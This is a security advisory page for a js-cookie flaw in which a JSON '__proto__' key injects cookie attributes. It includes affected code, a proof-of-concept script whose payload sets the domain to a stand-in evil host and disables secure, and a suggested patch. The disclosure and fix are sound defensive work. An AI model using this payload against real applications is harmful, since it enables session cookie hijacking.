Vulnerability-Lookup

GHSA-QJX8-664M-686J

Vulnerability from github – Published: 2026-05-21 21:20 – Updated: 2026-05-21 21:20

Summary

JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

Details

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
  '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution: cls-2026-05-14-01 44 39

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-cookie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T21:20:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`js-cookie`\u0027s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object\u0027s `\"__proto__\"` member is an *own enumerable* property, so the `for\u2026in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch(\u0027/config\u0027).then(r =\u003e r.json());\nCookies.set(\u0027session\u0027, token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs \u2014 full file\nexport default function (target) {\n  for (var i = 1; i \u003c arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable \u0027__proto__\u0027\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = \u0027\u0027;\nglobalThis.document = {\n  get cookie() { return \u0027\u0027; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import(\u0027js-cookie\u0027);\n\nconst attackerAttrs = JSON.parse(\n  \u0027{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}\u0027\n);\n\nCookies.set(\u0027session\u0027, \u0027TOKEN\u0027, attackerAttrs);\n\nconsole.log(\u0027Set-Cookie that js-cookie wrote to document.cookie:\u0027);\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i \u003c arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === \u0027__proto__\u0027 || key === \u0027constructor\u0027 || key === \u0027prototype\u0027) continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === \u0027__proto__\u0027) continue\n  target[key] = source[key]\n}\n```",
  "id": "GHSA-qjx8-664m-686j",
  "modified": "2026-05-21T21:20:31Z",
  "published": "2026-05-21T21:20:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/js-cookie/js-cookie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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GHSA-QJX8-664M-686J

Summary

Impact

Affected code

Proof of concept

Environment setup

PoC

Suggested patch

Tags

Sightings

Nomenclature